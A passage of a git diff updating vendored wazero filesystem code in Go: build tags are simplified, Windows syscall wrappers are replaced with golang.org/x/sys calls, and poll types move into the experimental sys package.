nb.SetNonblock(enable) + } + if !enable { + return 0 // disabling nonblock on a file that doesn't support it is a no-op + } return experimentalsys.ENOSYS } -// Poll implements the same method as documented on fsapi.File -func (f *fsFile) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { +// Poll implements experimentalsys.Pollable by forwarding to the underlying +// fs.File if it supports polling. +// +// Note: fsFile cannot implement PollableFile because fs.File and +// experimentalsys.File have conflicting Close signatures (error vs Errno), +// so no type can satisfy both. Pollable has no such conflict. +func (f *fsFile) Poll(flag experimentalsys.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { + if p, ok := f.file.(experimentalsys.Pollable); ok { + return p.Poll(flag, timeoutMillis) + } return false, experimentalsys.ENOSYS } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go index f201e813..92eaf354 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go @@ -1,4 +1,4 @@ -//go:build unix && !tinygo +//go:build unix package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go index a028b947..d75cb384 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go @@ -1,4 +1,4 @@ -//go:build !(unix || windows) || tinygo +//go:build !(unix || windows) package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go index 37870ea3..2048d0db 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go @@ -5,26 +5,20 @@ import ( "syscall" "unsafe" + "golang.org/x/sys/windows" + "github.com/tetratelabs/wazero/experimental/sys" ) const ( nonBlockingFileReadSupported = true nonBlockingFileWriteSupported = false - - _ERROR_IO_INCOMPLETE = syscall.Errno(996) ) -var kernel32 = syscall.NewLazyDLL("kernel32.dll") - -// procPeekNamedPipe is the syscall.LazyProc in kernel32 for PeekNamedPipe var ( - // procPeekNamedPipe is the syscall.LazyProc in kernel32 for PeekNamedPipe + kernel32 = syscall.NewLazyDLL("kernel32.dll") + // procPeekNamedPipe exposes PeekNamedPipe from kernel32. procPeekNamedPipe = kernel32.NewProc("PeekNamedPipe") - // procGetOverlappedResult is the syscall.LazyProc in kernel32 for GetOverlappedResult - procGetOverlappedResult = kernel32.NewProc("GetOverlappedResult") - // procCreateEventW is the syscall.LazyProc in kernel32 for CreateEventW - procCreateEventW = kernel32.NewProc("CreateEventW") ) // readFd returns ENOSYS on unsupported platforms. @@ -52,7 +46,7 @@ func readFd(fd uintptr, buf []byte) (int, sys.Errno) { return un, sys.UnwrapOSError(err) } -func writeFd(fd uintptr, buf []byte) (int, sys.Errno) { +func writeFd(uintptr, []byte) (int, sys.Errno) { return -1, sys.ENOSYS } @@ -60,7 +54,7 @@ func readSocket(h uintptr, buf []byte) (int, sys.Errno) { // Poll the socket to ensure that we never perform a blocking/overlapped Read. // // When the socket is closed by the remote peer, wsaPoll will return n=1 and - // errno=0, and syscall.ReadFile will return n=0 and errno=0 -- which indicates + // errno=0, and windows.ReadFile will return n=0 and errno=0 -- which indicates // io.EOF. if n, errno := wsaPoll( []pollFd{newPollFd(h, _POLLIN, 0)}, 0); !errors.Is(errno, sys.Errno(0)) { @@ -81,25 +75,25 @@ func readSocket(h uintptr, buf []byte) (int, sys.Errno) { // // We are currently skipping checking if hFile was opened with FILE_FLAG_OVERLAPPED but using // both lpOverlapped and lpNumberOfBytesRead. - var overlapped syscall.Overlapped + var overlapped windows.Overlapped // Create an event to wait on. - if hEvent, err := createEventW(nil, true, false, nil); err != 0 { + if hEvent, err := windows.CreateEvent(nil, 1, 0, nil); err != nil { return 0, sys.UnwrapOSError(err) } else { - overlapped.HEvent = syscall.Handle(hEvent) + overlapped.HEvent = windows.Handle(hEvent) } var done uint32 - errno := syscall.ReadFile(syscall.Handle(h), buf, &done, &overlapped) - if errors.Is(errno, syscall.ERROR_IO_PENDING) { - errno = syscall.CancelIo(syscall.Handle(h)) + errno := windows.ReadFile(windows.Handle(h), buf, &done, &overlapped) + if errors.Is(errno, windows.ERROR_IO_PENDING) { + errno = windows.CancelIo(windows.Handle(h)) if errno != nil { return 0, sys.UnwrapOSError(errno) // This is a fatal error. CancelIo failed. } - done, errno = getOverlappedResult(syscall.Handle(h), &overlapped, true) // wait for I/O to complete(cancel or finish). Overwrite done and errno. - if errors.Is(errno, syscall.ERROR_OPERATION_ABORTED) { + errno = windows.GetOverlappedResult(windows.Handle(h), &overlapped, &done, true) // wait for I/O to complete(cancel or finish). Overwrite done and errno. + if errors.Is(errno, windows.ERROR_OPERATION_ABORTED) { return int(done), sys.EAGAIN // This is one of the expected behavior, I/O was cancelled(completed) before finished. } } @@ -109,9 +103,9 @@ func readSocket(h uintptr, buf []byte) (int, sys.Errno) { func writeSocket(fd uintptr, buf []byte) (int, sys.Errno) { var done uint32 - var overlapped syscall.Overlapped - errno := syscall.WriteFile(syscall.Handle(fd), buf, &done, &overlapped) - if errors.Is(errno, syscall.ERROR_IO_PENDING) { + var overlapped windows.Overlapped + errno := windows.WriteFile(windows.Handle(fd), buf, &done, &overlapped) + if errors.Is(errno, windows.ERROR_IO_PENDING) { errno = syscall.EAGAIN } return int(done), sys.UnwrapOSError(errno) @@ -137,39 +131,3 @@ func rmdir(path string) sys.Errno { err := syscall.Rmdir(path) return sys.UnwrapOSError(err) } - -func getOverlappedResult(handle syscall.Handle, overlapped *syscall.Overlapped, wait bool) (uint32, syscall.Errno) { - var totalBytesAvail uint32 - var bwait uintptr - if wait { - bwait = 0xFFFFFFFF - } - totalBytesPtr := unsafe.Pointer(&totalBytesAvail) - _, _, errno := syscall.SyscallN( - procGetOverlappedResult.Addr(), - uintptr(handle), // [in] HANDLE hFile, - uintptr(unsafe.Pointer(overlapped)), // [in] LPOVERLAPPED lpOverlapped, - uintptr(totalBytesPtr), // [out] LPDWORD lpNumberOfBytesTransferred, - bwait) // [in] BOOL bWait - return totalBytesAvail, errno -} - -func createEventW(lpEventAttributes *syscall.SecurityAttributes, bManualReset bool, bInitialState bool, lpName *uint16) (uintptr, syscall.Errno) { - var manualReset uintptr - var initialState uintptr - if bManualReset { - manualReset = 1 - } - if bInitialState { - initialState = 1 - } - handle, _, errno := syscall.SyscallN( - procCreateEventW.Addr(), - uintptr(unsafe.Pointer(lpEventAttributes)), // [in] LPSECURITY_ATTRIBUTES lpEventAttributes, - manualReset, // [in] BOOL bManualReset, - initialState, // [in] BOOL bInitialState, - uintptr(unsafe.Pointer(lpName)), // [in, opt]LPCWSTR lpName, - ) - - return handle, errno -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go index 7f6b1109..7a647bff 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go @@ -1,21 +1,13 @@ -//go:build (linux || darwin) && !tinygo +//go:build linux || darwin package sysfs import ( "syscall" - "unsafe" "github.com/tetratelabs/wazero/experimental/sys" ) -func timesToPtr(times *[2]syscall.Timespec) unsafe.Pointer { //nolint:unused - if times != nil { - return unsafe.Pointer(×[0]) - } - return unsafe.Pointer(nil) -} - func timesToTimespecs(atim int64, mtim int64) (times *[2]syscall.Timespec) { // When both inputs are omitted, there is nothing to change. if atim == sys.UTIME_OMIT && mtim == sys.UTIME_OMIT { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go index 88e4008f..d97fc353 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go @@ -2,28 +2,19 @@ package sysfs import ( "syscall" - _ "unsafe" + "unsafe" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" ) -const ( - _AT_FDCWD = -0x2 - _AT_SYMLINK_NOFOLLOW = 0x0020 - _UTIME_OMIT = -2 -) - -//go:noescape -//go:linkname utimensat syscall.utimensat -func utimensat(dirfd int, path string, times *[2]syscall.Timespec, flags int) error +const _UTIME_OMIT = -2 func utimens(path string, atim, mtim int64) experimentalsys.Errno { times := timesToTimespecs(atim, mtim) if times == nil { return 0 } - var flags int - return experimentalsys.UnwrapOSError(utimensat(_AT_FDCWD, path, times, flags)) + return experimentalsys.UnwrapOSError(syscall.UtimesNano(path, times[:])) } func futimens(fd uintptr, atim, mtim int64) experimentalsys.Errno { @@ -31,7 +22,7 @@ func futimens(fd uintptr, atim, mtim int64) experimentalsys.Errno { if times == nil { return 0 } - _p0 := timesToPtr(times) + _p0 := unsafe.Pointer(×[0]) // Warning: futimens only exists since High Sierra (10.13). _, _, e1 := syscall_syscall6(libc_futimens_trampoline_addr, fd, uintptr(_p0), 0, 0, 0, 0) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go index db3b1b8b..a53af60b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go @@ -1,33 +1,22 @@ -//go:build !tinygo - package sysfs import ( "syscall" "unsafe" - _ "unsafe" + + "golang.org/x/sys/unix" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" ) -const ( - _AT_FDCWD = -0x64 - _UTIME_OMIT = (1 << 30) - 2 -) +const _UTIME_OMIT = unix.UTIME_OMIT func utimens(path string, atim, mtim int64) experimentalsys.Errno { times := timesToTimespecs(atim, mtim) if times == nil { return 0 } - - var flags int - var _p0 *byte - _p0, err := syscall.BytePtrFromString(path) - if err == nil { - err = utimensat(_AT_FDCWD, uintptr(unsafe.Pointer(_p0)), times, flags) - } - return experimentalsys.UnwrapOSError(err) + return experimentalsys.UnwrapOSError(syscall.UtimesNano(path, times[:])) } // On linux, implement futimens via utimensat with the NUL path. diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go index 69d56494..668f3a61 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go @@ -1,4 +1,4 @@ -//go:build (!windows && !linux && !darwin) || tinygo +//go:build !(windows || linux || darwin) package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_tinygo.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_tinygo.go deleted file mode 100644 index 2099231c..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_tinygo.go +++ /dev/null @@ -1,14 +0,0 @@ -//go:build tinygo - -package sysfs - -import ( - "io/fs" - - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" -) - -func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { - return 0, experimentalsys.ENOTSUP -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_unix.go similarity index 90% rename from vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go rename to vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_unix.go index 8344cd16..969fcd63 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_unix.go @@ -1,4 +1,4 @@ -//go:build !windows && !plan9 && !tinygo +//go:build unix package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_unsupported.go similarity index 90% rename from vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go rename to vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_unsupported.go index 9c669a47..64bdebdf 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_unsupported.go @@ -1,3 +1,5 @@ +//go:build !(unix || windows) + package sysfs import ( diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go index 4477ee97..568ded18 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go @@ -1,4 +1,4 @@ -//go:build !windows && !plan9 && !tinygo +//go:build unix package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unsupported.go index 3e141a7b..52caa4e4 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unsupported.go @@ -1,4 +1,4 @@ -//go:build plan9 || tinygo +//go:build !(unix || windows) package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_bsd.go similarity index 94% rename from vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go rename to vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_bsd.go index 42adaa21..755f9852 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_bsd.go @@ -1,3 +1,5 @@ +//go:build freebsd || dragonfly + package sysfs import ( diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go deleted file mode 100644 index bdf7dd84..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go +++ /dev/null @@ -1,31 +0,0 @@ -//go:build illumos || solaris - -package sysfs - -import ( - "syscall" - - "github.com/tetratelabs/wazero/experimental/sys" -) - -const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK | sys.O_RSYNC - -func withSyscallOflag(oflag sys.Oflag, flag int) int { - if oflag&sys.O_DIRECTORY != 0 { - // See https://github.com/illumos/illumos-gate/blob/edd580643f2cf1434e252cd7779e83182ea84945/usr/src/uts/common/sys/fcntl.h#L90 - flag |= 0x1000000 - } - if oflag&sys.O_DSYNC != 0 { - flag |= syscall.O_DSYNC - } - if oflag&sys.O_NOFOLLOW != 0 { - flag |= syscall.O_NOFOLLOW - } - if oflag&sys.O_NONBLOCK != 0 { - flag |= syscall.O_NONBLOCK - } - if oflag&sys.O_RSYNC != 0 { - flag |= syscall.O_RSYNC - } - return flag -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_supported.go similarity index 92% rename from vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go rename to vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_supported.go index 3fe2bb6e..4443696a 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_supported.go @@ -1,4 +1,4 @@ -//go:build !tinygo +//go:build linux || netbsd || openbsd || solaris package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_tinygo.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_tinygo.go deleted file mode 100644 index ccf6847c..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_tinygo.go +++ /dev/null @@ -1,25 +0,0 @@ -//go:build tinygo - -package sysfs - -import ( - "io/fs" - "os" - - "github.com/tetratelabs/wazero/experimental/sys" -) - -const supportedSyscallOflag = sys.Oflag(0) - -func withSyscallOflag(oflag sys.Oflag, flag int) int { - // O_DIRECTORY not defined - // O_DSYNC not defined - // O_NOFOLLOW not defined - // O_NONBLOCK not defined - // O_RSYNC not defined - return flag -} - -func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { - return nil, sys.ENOSYS -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unix.go similarity index 94% rename from vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go rename to vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unix.go index 670e3591..9ae1e2bc 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unix.go @@ -1,4 +1,4 @@ -//go:build !windows && !tinygo +//go:build !windows package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go index 9f7a6d08..234fa468 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go @@ -1,10 +1,8 @@ -//go:build !darwin && !linux && !windows && !illumos && !solaris && !freebsd +//go:build !(freebsd || dragonfly || darwin || linux || netbsd || openbsd || solaris || windows) package sysfs -import ( - "github.com/tetratelabs/wazero/experimental/sys" -) +import "github.com/tetratelabs/wazero/experimental/sys" const supportedSyscallOflag = sys.Oflag(0) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go index 717f8598..f5a3710b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go @@ -36,7 +36,9 @@ func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Err // To match expectations of WASI, e.g. TinyGo TestStatBadDir, return // ENOENT, not ENOTDIR. case sys.ENOTDIR: - errno = sys.ENOENT + if !strings.HasSuffix(path, "/") { + errno = sys.ENOENT + } case sys.ENOENT: if isSymlink(path) { // Either symlink or hard link not found. We change the returned @@ -55,7 +57,7 @@ func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Err const supportedSyscallOflag = sys.O_NONBLOCK -// Map to synthetic values here https://github.com/golang/go/blob/go1.20/src/syscall/types_windows.go#L34-L48 +// Map to synthetic values here https://github.com/golang/go/blob/go1.24.0/src/syscall/types_windows.go#L35-L52 func withSyscallOflag(oflag sys.Oflag, flag int) int { // O_DIRECTORY not defined in windows // O_DSYNC not defined in windows diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go index 32d6ebb3..95ed7430 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go @@ -6,11 +6,10 @@ import ( "os" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/sys" ) -func newOsFile(path string, flag experimentalsys.Oflag, perm fs.FileMode, f *os.File) fsapi.File { +func newOsFile(path string, flag experimentalsys.Oflag, perm fs.FileMode, f *os.File) experimentalsys.File { // On POSIX, if a file is removed from or added to the directory after the // most recent call to opendir() or rewinddir(), whether a subsequent call // to readdir() returns an entry for that file is unspecified. @@ -89,7 +88,7 @@ func (f *osFile) SetAppend(enable bool) (errno experimentalsys.Errno) { } // appendMode cannot be changed later, so we have to re-open the file - // https://github.com/golang/go/blob/go1.23/src/os/file_unix.go#L60 + // https://github.com/golang/go/blob/go1.24.0/src/os/file_unix.go#L65 return fileError(f, f.closed, f.reopen()) } @@ -153,12 +152,12 @@ func (f *osFile) checkSameFile(osf *os.File) experimentalsys.Errno { return experimentalsys.ENOENT } -// IsNonblock implements the same method as documented on fsapi.File +// IsNonblock implements the same method as documented on experimentalsys.PollableFile func (f *osFile) IsNonblock() bool { return isNonblock(f) } -// SetNonblock implements the same method as documented on fsapi.File +// SetNonblock implements the same method as documented on experimentalsys.PollableFile func (f *osFile) SetNonblock(enable bool) (errno experimentalsys.Errno) { if enable { f.flag |= experimentalsys.O_NONBLOCK @@ -229,8 +228,8 @@ func (f *osFile) Seek(offset int64, whence int) (newOffset int64, errno experime return } -// Poll implements the same method as documented on fsapi.File -func (f *osFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { +// Poll implements the same method as documented on experimentalsys.Pollable +func (f *osFile) Poll(flag experimentalsys.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { return poll(f.fd, flag, timeoutMillis) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go index a2e1103e..4041699f 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go @@ -1,15 +1,14 @@ -//go:build windows || (linux && !tinygo) || darwin +//go:build windows || linux || darwin package sysfs import ( "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) // poll implements `Poll` as documented on sys.File via a file descriptor. -func poll(fd uintptr, flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { - if flag != fsapi.POLLIN { +func poll(fd uintptr, flag sys.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { + if flag != sys.POLLIN { return false, sys.ENOTSUP } fds := []pollFd{newPollFd(fd, _POLLIN, 0)} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go index 49bf4fd0..dab7bb2c 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go @@ -1,5 +1,3 @@ -//go:build !tinygo - package sysfs import ( diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go index 2301a067..7ba6c713 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go @@ -1,13 +1,12 @@ -//go:build !(linux || darwin || windows) || tinygo +//go:build !(linux || darwin || windows) package sysfs import ( "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) -// poll implements `Poll` as documented on fsapi.File via a file descriptor. -func poll(uintptr, fsapi.Pflag, int32) (bool, sys.Errno) { +// poll implements `Poll` as documented on sys.File via a file descriptor. +func poll(uintptr, sys.Pflag, int32) (bool, sys.Errno) { return false, sys.ENOSYS } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_unix.go similarity index 84% rename from vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go rename to vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_unix.go index 37c53571..d3d75fc5 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_unix.go @@ -1,4 +1,4 @@ -//go:build !windows && !plan9 && !tinygo +//go:build unix package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_unsupported.go similarity index 86% rename from vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go rename to vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_unsupported.go index 474cc759..49c8360e 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_unsupported.go @@ -1,3 +1,5 @@ +//go:build !(unix || windows) + package sysfs import ( diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go index ab9bb1ff..b071222e 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go @@ -5,7 +5,6 @@ import ( "os" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" "github.com/tetratelabs/wazero/sys" ) @@ -71,13 +70,13 @@ func (f *tcpListenerFile) Addr() *net.TCPAddr { return f.tl.Addr().(*net.TCPAddr) } -// IsNonblock implements the same method as documented on fsapi.File +// IsNonblock implements the same method as documented on experimentalsys.PollableFile func (f *tcpListenerFile) IsNonblock() bool { return f.nonblock } -// Poll implements the same method as documented on fsapi.File -func (f *tcpListenerFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { +// Poll implements the same method as documented on experimentalsys.Pollable +func (f *tcpListenerFile) Poll(flag experimentalsys.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { return false, experimentalsys.ENOSYS } @@ -167,7 +166,7 @@ func (f *tcpConnFile) close() experimentalsys.Errno { return f.Shutdown(socketapi.SHUT_RDWR) } -// SetNonblock implements the same method as documented on fsapi.File +// SetNonblock implements the same method as documented on experimentalsys.PollableFile func (f *tcpConnFile) SetNonblock(enabled bool) (errno experimentalsys.Errno) { f.nonblock = enabled _, errno = syscallConnControl(f.tc, func(fd uintptr) (int, experimentalsys.Errno) { @@ -176,12 +175,12 @@ func (f *tcpConnFile) SetNonblock(enabled bool) (errno experimentalsys.Errno) { return } -// IsNonblock implements the same method as documented on fsapi.File +// IsNonblock implements the same method as documented on experimentalsys.PollableFile func (f *tcpConnFile) IsNonblock() bool { return f.nonblock } -// Poll implements the same method as documented on fsapi.File -func (f *tcpConnFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { +// Poll implements the same method as documented on experimentalsys.Pollable +func (f *tcpConnFile) Poll(flag experimentalsys.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { return false, experimentalsys.ENOSYS } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_supported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_supported.go index 6c976fb8..5342379d 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_supported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_supported.go @@ -1,4 +1,4 @@ -//go:build (linux || darwin || windows) && !tinygo +//go:build linux || darwin || windows package sysfs @@ -7,7 +7,6 @@ import ( "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" ) @@ -15,7 +14,7 @@ import ( func (f *tcpListenerFile) Accept() (socketapi.TCPConn, experimentalsys.Errno) { // Ensure we have an incoming connection, otherwise return immediately. if f.nonblock { - if ready, errno := _pollSock(f.tl, fsapi.POLLIN, 0); !ready || errno != 0 { + if ready, errno := _pollSock(f.tl, experimentalsys.POLLIN, 0); !ready || errno != 0 { return nil, experimentalsys.EAGAIN } } @@ -30,7 +29,7 @@ func (f *tcpListenerFile) Accept() (socketapi.TCPConn, experimentalsys.Errno) { } } -// SetNonblock implements the same method as documented on fsapi.File +// SetNonblock implements the same method as documented on experimentalsys.PollableFile func (f *tcpListenerFile) SetNonblock(enabled bool) (errno experimentalsys.Errno) { f.nonblock = enabled _, errno = syscallConnControl(f.tl, func(fd uintptr) (int, experimentalsys.Errno) { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go index 99ef018a..9f5d8057 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go @@ -1,4 +1,4 @@ -//go:build (linux || darwin) && !tinygo +//go:build linux || darwin package sysfs @@ -7,7 +7,6 @@ import ( "syscall" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" ) @@ -18,9 +17,9 @@ func newTCPListenerFile(tl *net.TCPListener) socketapi.TCPSock { return newDefaultTCPListenerFile(tl) } -func _pollSock(conn syscall.Conn, flag fsapi.Pflag, timeoutMillis int32) (bool, sys.Errno) { +func _pollSock(conn syscall.Conn, flag sys.Pflag, timeoutMillis int32) (bool, sys.Errno) { n, errno := syscallConnControl(conn, func(fd uintptr) (int, sys.Errno) { - if ready, errno := poll(fd, fsapi.POLLIN, 0); !ready || errno != 0 { + if ready, errno 